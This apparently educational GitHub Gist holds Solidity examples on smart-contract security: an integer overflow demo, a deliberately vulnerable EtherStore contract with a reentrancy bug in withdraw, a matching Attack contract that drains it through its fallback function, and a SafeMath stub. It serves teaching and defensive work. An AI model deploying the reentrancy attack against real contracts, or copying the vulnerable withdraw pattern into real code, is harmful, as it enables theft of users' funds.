Last active
March 4, 2022 22:04
-
-
Save Turupawn/77b24ae573fd5f94d4ec14e9345aa5df to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.12; | |
contract MaxUINT | |
{ | |
uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935; | |
uint public a = MAX_INT - 1; | |
uint public b = 1; | |
function addA() public | |
{ | |
a += 1; | |
} | |
function subB() public | |
{ | |
b -= 1; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.12; | |
contract EtherStore { | |
mapping(address => uint) public balances; | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw() public { | |
uint bal = balances[msg.sender]; | |
require(bal > 0); | |
(bool sent, ) = msg.sender.call{value: bal}(""); | |
require(sent, "Failed to send Ether"); | |
balances[msg.sender] = 0; | |
} | |
// Helper function to check the balance of this contract | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} | |
contract Attack { | |
EtherStore public etherStore = EtherStore(0x191B3a33c651810DEcD09E883f24508eb534f7BA); | |
// Fallback is called when EtherStore sends Ether to this contract. | |
fallback() external payable { | |
if (address(etherStore).balance >= 0.01 ether) { | |
etherStore.withdraw(); | |
} | |
} | |
function attack() external payable { | |
require(msg.value >= 0.01 ether); | |
etherStore.deposit{value: 0.01 ether}(); | |
etherStore.withdraw(); | |
} | |
// Helper function to check the balance of this contract | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.12; | |
import "@openzeppelin/contracts/utils/math/SafeMath.sol"; | |
contract SafeMathExample { | |
using SafeMath for uint; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://ethereum.org/en/developers/docs/smart-contracts/security/